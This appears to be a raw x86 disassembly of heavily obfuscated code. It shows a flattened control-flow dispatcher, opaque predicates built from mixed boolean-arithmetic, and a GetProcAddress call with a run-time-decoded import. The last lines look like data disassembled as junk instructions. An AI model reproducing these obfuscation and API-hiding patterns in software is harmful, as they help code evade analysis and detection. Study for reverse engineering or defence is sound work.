and esi, 0xef08e81e
and ecx, 0x7304a0
or ecx, esi
mov esi, edx
not esi
and edx, 0x10f717e1
or eax, esi
and esi, 0xef08e81e
or edx, esi
not eax
mov esi, 0xe9a62c2a
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb4ef3dee
and ecx, 0x4b10c211
or eax, ecx
xor eax, 0x169c114e
sete ah
setne dl
cmp dword [0x4a4b78], 0xa
setge cl
setl ch
mov al, cl
or ch, dl
or al, ah
mov dh, al
or al, ch
xor dh, ch
mov ch, cl
and cl, ah
xor al, 1
inc ch
or al, dh
and dl, ch
or ch, ah
xor ch, 1
or cl, dl
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor dl, al
xor al, 1
xor cl, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
cmovne ebx, esi
test dl, 1
mov edx, ebx
cmovne edx, edi
test al, 1
cmovne edx, ebx
mov eax, edx
jmp 0x401540
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, 0x11fd3f9
jmp 0x401540
cmp byte [ebp - 0x9c], 0
mov eax, 0x6740ce9c
mov ecx, 0x7e4d6765
cmovne eax, ecx
jmp 0x401540
mov eax, 0x483b8cf1
jmp 0x401540
mov eax, 0x20122184
jmp 0x401540
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
add eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x2c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
andn eax, edx, edx
and esi, 0xff6d1f5b
and ecx, 0x92e0a4
or ecx, esi
mov esi, eax
not esi
and eax, 0x92e0a4
or edx, esi
and esi, 0xff6d1f5b
or eax, esi
not edx
xor eax, ecx
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0xff8d0fa7
not ecx
mov esi, ecx
and eax, edx
and esi, 0xff8d0fa7
and edx, 0xe4644052
or eax, esi
mov esi, eax
not esi
and eax, 0x31bdd36b
and esi, 0xce422c94
or eax, esi
mov esi, ecx
and esi, 0x1b9bbfad
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x40440011
xor esi, 0x1832924
or ecx, edx
mov edx, eax
xor edx, 0x46005c81
and esi, 0xa5a36966
xor eax, 0x31cf2332
and ecx, 0x5a5c9699
and edx, 0x46815e93
or ecx, esi
mov esi, eax
and esi, 0xb97ea16c
or edx, esi
mov esi, ecx
xor esi, 0x42001691
xor ecx, 0xa5a36966
or eax, ecx
and ecx, 0xb97ea16c
and esi, 0x46815e93
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, eax
or esi, 0x20088248
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x1fe76d87
and ecx, eax
and esi, 0x3fa9e348
and edx, 0x460c87
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc0561cb7
or eax, esi
and esi, 0x3fa9e348
or ecx, esi
not eax
mov esi, 0x4677c13b
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe0189278
and eax, 0x1fe76d87
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcf0c70c2
and ecx, 0x30f38f3d
or ecx, eax
cmp ecx, 0x30f38f3d
setne cl
cmp dword [0x4a4b78], 0xa
mov eax, ecx
setge dl
setl ah
inc al
and cl, al
mov dh, dl
xor cl, 1
mov ch, cl
or cl, al
xor ch, al
xor cl, 1
xor al, dl
and dl, al
or cl, ch
xor dh, cl
xor dl, 1
and dh, cl
or cl, ah
mov ah, dl
or dl, al
xor cl, 1
xor ah, al
not dl
or dl, ah
or cl, dh
mov eax, 0x8035f158
xor dl, cl
and dl, 1
cmovne esi, eax
test dl, cl
mov eax, 0x4677c13b
cmovne esi, eax
test dl, dl
cmovne eax, esi
test dl, cl
cmove eax, esi
jmp 0x401540
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x60]
add eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x2c]
mov eax, 0x908972f0
jmp 0x401540
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xec096655
and edi, 0x13f699aa
and edx, 0x2d473c5f
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xd2b8c3a0
mov ebx, esi
not ebx
and esi, 0x13f699aa
or eax, edx
or ecx, ebx
and ebx, 0xec096655
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xdccfc176
mov esi, edx
and esi, 0x23303e89
or ecx, esi
mov esi, eax
xor esi, 0xd088c120
xor eax, 0x21003c09
and eax, 0x23303e89
and esi, 0xdccfc176
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x93c9d631
setne cl
sete ch
cmp dword [0x4a4b78], 0xa
mov ah, cl
setl al
setge dl
and ah, dl
and al, ch
xor cl, dl
or al, ah
and cl, ch
xor al, 1
xor cl, 1
or al, dl
or dl, ch
mov ch, cl
mov ah, al
or cl, dl
xor ch, dl
mov edx, eax
xor ah, 1
xor cl, 1
and dl, ah
or cl, ch
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x7e58be33
cmovne esi, eax
test cl, 1
mov eax, 0x93c9d631
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x401540
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x5309f761
jmp 0x401540
mov eax, dword [ebp - 0x120]
mov eax, 0x9dc42f8
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 5
mov eax, 0x6f9d6827
jmp 0x401540
cmp dword [ebp - 0x1cc], 0
mov eax, 0x135315d5
jmp 0x40d88b
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x2ae8d22b
mov esi, eax
and esi, 0xd5172dd4
and eax, 0x4e805493
or edx, esi
mov esi, edx
xor edx, 0x91170844
xor esi, 0x2000200
or edx, 0x6400b5bb
and esi, 0x92160204
mov edi, edx
and edi, 0x29e97948
or esi, edi
mov edi, ecx
xor edi, 0x9bff4a44
and edi, ecx
and ecx, 0xb17fab6c
mov ebx, edi
not ebx
and edi, 0xd61686b7
or eax, ecx
or edx, ebx
and ebx, 0x29e97948
or edi, ebx
not edx
xor edi, esi
or edx, edi
not edi
and edi, 0x6400b5ba
and edx, 0x9bff4a45
or edx, edi
mov esi, edx
not esi
and edx, 0x4e805493
mov edi, esi
and edi, 0xb17fab6c
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x32661358
setne al
sete dl
cmp dword [0x4a4b78], 0xa
setge ah
setl cl
mov ch, ah
and al, cl
xor cl, dl
xor ch, dl
and dl, ah
and ch, ah
or al, dl
or cl, ch
mov edx, eax
mov ah, cl
not dl
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0x2be7e2f
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0x2be7e2f
jmp 0x40976f
mov eax, 0xfbad5d2d
jmp 0x401540
mov eax, 0x50e7f4e2
jmp 0x401540
mov eax, 0xf40f0464
jmp 0x401540
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf4]
mov eax, 0x17d125fe
jmp 0x401540
mov eax, dword [ebp - 0x50]
mov dword [eax], 2
mov eax, 0x5447351e
jmp 0x401540
mov eax, dword [ebp - 0xec]
mov ecx, 0x63b56a6c
cmp eax, 0xc
mov eax, 0x6cd8deb9
cmovl eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x34]
mov ecx, dword [0x4a4b7c]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xdb850bba
mov edx, ecx
and edx, 0x247af444
and ecx, 0xf08bf4b6
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0xf740b49
xor esi, 0xdb850bba
or eax, ecx
or edx, esi
mov esi, 0xa2de47fd
mov ecx, eax
xor ecx, 0xf740b49
xor eax, 0xf08bf4b6
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setge al
setl ch
mov cl, al
and al, dl
xor cl, ah
and ah, ch
or ch, dl
or al, ah
xor ch, 1
mov ah, cl
or al, ch
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x1a5756af
cmovne ecx, esi
test al, 1
mov eax, 0x1a5756af
jmp 0x40976f
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ecx], eax
mov eax, 0x5d9cfe25
jmp 0x401540
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov ecx, dword [eax + ecx*4]
mov eax, ecx
not eax
and ecx, 0x222ca66f
and eax, 0xddd35990
or ecx, eax
mov eax, ecx
xor eax, 0x2024866d
xor ecx, 0xd5004100
and ecx, 0xd7086102
and eax, 0x28f79efd
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x86282a8
xor edx, 0xd7086102
xor ecx, 0xd7089efd
and ecx, edx
and eax, 0x1e6ac2aa
and edx, 0xe1953d55
or edx, eax
mov eax, ecx
not eax
and ecx, 0xed01b10d
mov esi, edx
xor esi, 0xe1018008
xor edx, 0x1e6a3d55
mov edi, eax
and edi, 0x12fe4ef2
or eax, edx
and edx, 0x12fe4ef2
and esi, 0xed01b10d
or ecx, edi
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
and eax, 0x5ee46710
and ecx, 0xa11b98ef
or eax, ecx
mov ecx, eax
xor ecx, 0x4e406510
xor eax, 0x811190c5
and eax, 0x91b592c5
and ecx, 0x6e4a6d3a
or ecx, eax
mov eax, ecx
xor eax, 0x819512c0
xor ecx, 0x6e4a6d3a
mov edx, ecx
and edx, 0x3862c42d
and eax, 0xc79d3bd2
or eax, edx
xor eax, 0xc79d3bd2
or eax, ecx
mov ecx, dword [ebp - 0x70]
not eax
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov ecx, 0x43c27bbb
mov eax, dword [ebp - 0xb0]
cmp dword [eax], 0
mov eax, 0x936c3dce
cmove eax, ecx
jmp 0x401540
mov eax, 0x3a25fb3c
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov eax, 0x6caec218
jmp 0x401540
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x30]
add eax, 2
mov dword [ecx], eax
mov eax, 0x8be700f7
jmp 0x401540
cmp byte [ebp - 0x97], 0
mov eax, 0xb59cfaed
mov ecx, 0xced85cff
cmovne eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x24211000
mov esi, eax
and esi, 0x3802110
and eax, 0x61724692
or edx, esi
mov esi, ecx
xor esi, 0x27a13110
and esi, ecx
xor edx, 0x24211000
and ecx, 0x9e8db96d
or edx, esi
not esi
or eax, ecx
and esi, 0xd85eceee
and edx, 0x27a13111
or edx, esi
mov esi, edx
not esi
and edx, 0x61724692
mov edi, esi
and edi, 0x9e8db96d
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xb54a06a0
sete cl
setne al
cmp dword [0x4a4b78], 0xa
setl dl
setge ah
and dl, al
and cl, ah
or al, ah
or cl, dl
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x58d1e032
cmovne ecx, esi
test al, al
mov eax, 0x58d1e032
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x401540
mov eax, 0x79d2a07b
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x816222
mov eax, edx
and eax, 0x122c0485
and edx, 0xaeb1cf4e
or esi, eax
mov eax, ecx
xor eax, 0x12ad66a7
and eax, ecx
xor esi, 0x816222
and ecx, 0x514e30b1
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x12ad66a6
and esi, 0xed529959
or eax, esi
mov esi, eax
not esi
and eax, 0xc0c825f5
and esi, 0x3f37da0a
or eax, esi
mov esi, eax
xor esi, 0x800581
xor eax, 0x3f37da0a
mov edx, eax
and edx, 0xcf7a227c
and esi, 0x3085dd83
or esi, edx
mov edx, ecx
xor edx, 0x10041081
xor ecx, 0xaeb1cf4e
or eax, ecx
and ecx, 0xcf7a227c
and edx, 0x3085dd83
or edx, ecx
not eax
xor edx, esi
mov esi, 0x9ba3b12a
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd2b54631
and ecx, 0x2d4ab9ce
or eax, ecx
xor eax, 0xd2b54631
setne ah
sete dl
cmp dword [0x4a4b78], 0xa
setge cl
setl al
mov ch, cl
xor al, dl
xor dl, cl
or cl, ah
xor ch, ah
xor cl, 1
mov ah, dl
or cl, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x3ccf06d
cmovne ecx, esi
test al, al
mov eax, 0x3ccf06d
cmove ecx, esi
test dl, 1
jmp 0x40aacb
mov eax, dword [ebp - 0x28]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x40]
mov eax, 0xa93d276f
jmp 0x401540
mov eax, 0x16deffc2
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 7
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0x5d3a670d
and edx, 0xa2c598f2
mov esi, eax
not esi
and eax, 0xda0dcaf7
or ecx, edx
mov edx, ecx
xor edx, 0x58084205
xor ecx, 0xa2c598f2
mov edi, ecx
or ecx, esi
and esi, 0x25f23508
and edi, 0x25f23508
and edx, 0xda0dcaf7
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xad620bdc
and ecx, 0x5e9fbbd6
mov esi, edx
and esi, 0x529df423
or edx, 1
or eax, esi
mov esi, eax
not esi
and eax, 0x56390dca
and esi, 0xa9c6f235
or eax, esi
mov esi, eax
xor esi, 0x484b9c0
xor eax, 0xfb5b0617
mov edi, eax
or eax, edx
and edx, 0xa1604428
and edi, 0xa1604428
and esi, 0x5e9fbbd7
or esi, edi
or ecx, edx
not eax
mov edi, 0x4d414be9
xor ecx, esi
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x1aae0ef7
and edx, 0xe551f108
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe551f108
or eax, esi
and esi, 0x1aae0ef7
or ecx, esi
not eax
mov esi, 0x4d414be9
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9ffb916f
and ecx, 0x60046e90
or eax, ecx
mov ecx, eax
xor ecx, 0x18d98041
xor eax, 0x40040a00
and eax, 0xc7261b2e
and ecx, 0x38d9e4d1
or ecx, eax
mov eax, ecx
xor eax, 0xc6200006
xor ecx, 0x18c0c040
and ecx, 0x19c6db68
and eax, 0xe6392497
or eax, ecx
cmp eax, 0xe6392497
sete dl
cmp dword [0x4a4b78], 0xa
setl al
mov ah, al
xor ah, dl
mov cl, ah
and cl, al
or al, dl
xor al, 1
xor cl, 1
or al, ah
and ah, dl
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x9513ca15
cmovne esi, eax
test cl, 1
mov eax, esi
cmovne eax, edi
test dl, 1
cmovne eax, esi
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x36ee8881
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xc911777e
and ecx, 0x36ee8881
or ecx, eax
mov edx, ecx
xor edx, 0x846c9a28
mov eax, ecx
and eax, 0x936ce4b9
and edx, ecx
not ecx
and ecx, 0x6c931b46
mov ebx, edx
not ebx
and edx, 0xea84f885
or eax, ecx
mov ecx, eax
xor ecx, 0x4001a00
mov esi, eax
xor esi, 0x80048000
or ecx, 0x7b9365d7
and esi, 0x80049800
mov edi, ecx
or ecx, ebx
and edi, 0x157b077a
and ebx, 0x157b077a
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xa5cae652
or ecx, edx
not edx
and edx, 0x7b9365d6
and ecx, 0x846c9a29
or ecx, edx
mov edx, eax
xor edx, 0x82482028
xor eax, 0x44910004
and eax, 0x55b5c494
and edx, 0xaa4a3b6a
or edx, eax
xor edx, 0xaa4a3b6a
or edx, ecx
mov ecx, edx
xor ecx, 0xbd8f12ff
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x4270ed00
and eax, 0xbd8f12ff
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6d921074
mov edx, ecx
and edx, 0x926def8b
or eax, edx
xor eax, 0x6d921074
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setl al
setge ch
mov cl, al
and al, ah
and ah, ch
and cl, dl
and dl, ch
or cl, ah
or al, dl
xor cl, 1
mov edx, eax
or cl, ch
xor dl, 1
mov ah, cl
and al, cl
or cl, dl
not ah
mov ch, cl
and dl, ah
or dl, al
mov eax, 0x8035f158
xor ch, dl
test dl, dl
mov edx, 0x8035f158
cmovne eax, esi
test cl, cl
cmovne eax, edx
test ch, 1
cmove eax, esi
jmp 0x401540
mov eax, dword [ebp - 0xe4]
mov eax, dword [0x4a4b7c]
lea edi, [eax + 1]
imul edi, eax
mov esi, edi
not esi
mov eax, edi
and eax, 0x42f45b24
or edi, 0x85f19920
mov ecx, esi
and ecx, 0xbd0ba4db
and esi, 0x808028c
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0xbd0ba4db
xor ebx, 0xc705c204
xor ecx, 0x640100
and ebx, eax
and ecx, 0x946fa55b
mov edx, ebx
not edx
and ebx, 0x8d088aac
mov dword [ebp - 0x64], edx
and dword [ebp - 0x64], 0x72f77553
or edx, edi
and edi, 0x72f77553
add ebx, dword [ebp - 0x64]
or esi, edi
not edx
mov edi, 0xfac975e5
xor esi, ebx
or edx, esi
mov esi, edx
not esi
and edx, 0xb584f70
and esi, 0xf4a7b08f
or edx, esi
mov esi, eax
and esi, 0x6b905aa4
and eax, 1
or esi, ecx
xor edx, 0x8ea9d651
xor esi, 0x946fa55a
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x450a821
and eax, 0x82844488
mov edx, ecx
or edx, 0x10200312
and esi, 0x1470ab33
and ecx, 0x690b1044
and edx, 0x1470ab33
or ecx, esi
mov esi, 0xb54a06a0
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x792b1356
and ecx, 0x86d4eca9
or eax, ecx
sete dl
cmp dword [0x4a4b78], 0xa
setge ch
setl al
mov cl, ch
mov ah, ch
xor al, dl
xor ah, dl
and cl, dl
or dl, ch
xor dl, 1
and ah, ch
or cl, dl
mov dl, ah
xor ah, al
xor al, 1
xor dl, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xfac975e5
jmp 0x40d196
mov eax, 0x3681c34f
jmp 0x401540
mov eax, 0xd985c856
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xa
mov eax, 0xa0eae6c4
jmp 0x401540
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x174]
mov eax, 0x26b70066
setl byte [ebp - 0x9b]
jmp 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x82018084
and eax, 0x44207562
mov edx, ecx
or edx, 0x21040019
and esi, 0xa305809d
and ecx, 0x18da0a00
and edx, 0xa305809d
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x4393f01f
and ecx, 0xbc6c0fe0
or eax, ecx
mov edx, eax
xor edx, 0x7a4dfa06
xor eax, 0x85b205f9
mov ecx, edx
or ecx, 0x8c11140
mov esi, eax
or esi, 0x300206a4
mov edi, eax
and edi, 0x802c6803
and ecx, 0x38c317e4
and esi, 0x38c317e4
or edi, ecx
mov ecx, edx
and ecx, 0x47108018
and edx, 0x30042e41
or ecx, esi
xor ecx, edi
mov edi, 0x173783fa
mov esi, ecx
not esi
and ecx, 0xc0a36667
and esi, 0x3f5c9998
or ecx, esi
mov esi, eax
and esi, 0xcffbd1be
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x40a40
xor esi, 0x8c0bd086
or eax, edx
mov edx, ecx
xor edx, 0x70000800
and esi, 0xbc0bf486
xor ecx, 0x8f72f73e
and eax, 0x43f40b79
and edx, 0xf1601f1a
or eax, esi
mov esi, ecx
and esi, 0xe9fe0e5
or edx, esi
mov esi, eax
xor esi, 0x41600b18
xor eax, 0xbc0bf486
or ecx, eax
and eax, 0xe9fe0e5
and esi, 0xf1601f1a
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xf4e8f2db
mov edx, ecx
not edx
and ecx, 0xda3b13eb
and edx, 0x25c4ec14
or edx, ecx
mov eax, edx
xor eax, 0x880a0062
xor edx, 0x20c40400
and edx, 0x72f51789
and eax, 0x8d0ae876
or eax, edx
mov ecx, eax
xor ecx, 0x8c004064
xor eax, 0x50500180
and eax, 0x515aa992
and ecx, 0xaea5566d
or ecx, eax
cmp ecx, 0xaea5566d
sete cl
cmp dword [0x4a4b78], 0xa
mov eax, ecx
setl dl
xor al, dl
or dl, cl
mov ah, al
mov ecx, edx
xor ah, 1
or dl, ah
xor cl, ah
xor dl, 1
or dl, cl
mov ecx, eax
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ah, cl
and cl, dl
xor dl, 1
xor ah, 1
and ah, dl
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test dl, 1
cmovne edi, esi
test cl, 1
not al
cmove edi, esi
test al, 1
mov eax, 0x173783fa
cmovne edi, eax
mov eax, edi
jmp 0x401540
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, 0xaee87e61
jmp 0x401540
mov eax, 0xbbe550a2
jmp 0x401540
mov eax, dword [ebp - 0xfc]
add eax, 2
mov dword [ebp - 0x168], eax
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x1ad72cdb
mov eax, ecx
and eax, 0xa920c0b
and edx, ecx
not ecx
and ecx, 0x104520d0
or eax, ecx
xor eax, 0xa920c0b
or eax, edx
not edx
and edx, 0xe528d324
and eax, 0x1ad72cdb
or eax, edx
mov ecx, eax
not ecx
mov edi, eax
and edi, 0xc319f09e
and eax, 0x70989ef1
and ecx, 0x3ce60f61
or edi, ecx
mov ecx, edi
xor ecx, 0xc319f09e
xor edi, 0x2c600340
mov edx, ecx
and edx, 0x8f67610e
and edi, 0xef790340
or eax, edx
mov edx, eax
not edx
and eax, 0x2eeb3c82
and edx, 0xd114c37d
or eax, edx
mov edx, ecx
and edx, 0x1086fcbf
and ecx, 1
or edx, edi
mov esi, eax
xor esi, 0xa0084c84
xor eax, 0x5e73a272
mov edi, edx
xor edi, 0xef790341
xor edx, 0x10006ca4
and esi, 0xba186ca4
or ecx, edi
mov edi, eax
and edi, 0x45e7935b
and edx, 0xba186ca4
or eax, ecx
and ecx, 0x45e7935b
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x84b11054
and eax, 0x18040002
mov edx, ecx
and edx, 0x410ac228
or ecx, 0x40295064
or esi, edx
and ecx, 0x62697de5
mov edx, esi
xor edx, 0x84900010
xor esi, 0x62486da1
or eax, ecx
and esi, 0x62697de5
and edx, 0x85928218
or edx, esi
mov esi, 0xaaa079d9
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x61424ca4
and ecx, 0x9ebdb35b
or eax, ecx
xor eax, 0xa4f99ed8
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
setl cl
setge al
or dl, cl
xor cl, ah
xor cl, 1
or cl, al
xor al, ah
and al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0xaaa079d9
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0xd97bf318
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401540
mov eax, 0x75c8515c
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov edi, 0xf0c9886f
mov dword [eax], 5
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x82003048
and ecx, 0x18878097
mov esi, eax
and esi, 0x61080400
or edx, esi
not esi
xor edx, 0x82003048
and esi, 0x5704f20
and edx, 0xe2083048
or edx, esi
mov esi, eax
or esi, 0x1000400
and esi, 0x5704f20
or ecx, esi
mov esi, 0xe9dea9e8
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x81b130a5
and edx, 0x7e4ecf5a
or ecx, edx
mov edx, ecx
xor edx, 0x6021042c
xor ecx, 0x95048311
and ecx, 0x979c83d1
and edx, 0x68637c2e
or edx, ecx
xor edx, 0x68637c2e
or edx, eax
xor edx, 0xffffffff
setne dl
sete ah
cmp dword [0x4a4b78], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov dh, dl
xor dh, al
not dh
test dh, 1
cmovne edi, esi
test al, al
mov eax, 0xf0c9886f
cmovne eax, edi
test dl, dl
cmovne eax, edi
jmp 0x401540
cmp byte [ebp - 0xa2], 0
mov eax, 0xe552391c
mov ecx, 0x4ca95a80
cmovne eax, ecx
jmp 0x401540
cmp byte [ebp - 0xa1], 0
mov eax, 0xe552391c
mov ecx, 0xaac046c3
cmovne eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x2c]
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
or ecx, 1
mov edi, ecx
and edx, eax
and edi, 0x5f03305d
and esi, 0xa0fccfa2
or esi, edi
mov edi, edx
not edi
and edx, 0xa0fccfa2
or ecx, edi
and edi, 0x5f03305d
or edx, edi
not ecx
xor edx, esi
mov esi, 0xc3912989
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne cl
cmp dword [0x4a4b78], 0xa
mov ah, dl
setl al
xor ah, al
xor cl, al
or al, dl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0xc80e0cc
cmovne eax, esi
test dl, 1
mov edx, 0xc80e0cc
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401540
sbb edi, 0x48
imul edi
not edi
inc esi
neg edi
sub esi, 0x53
rcr esi, 0x6a
neg eax
sub edi, 1
imul edx
bswap ebx
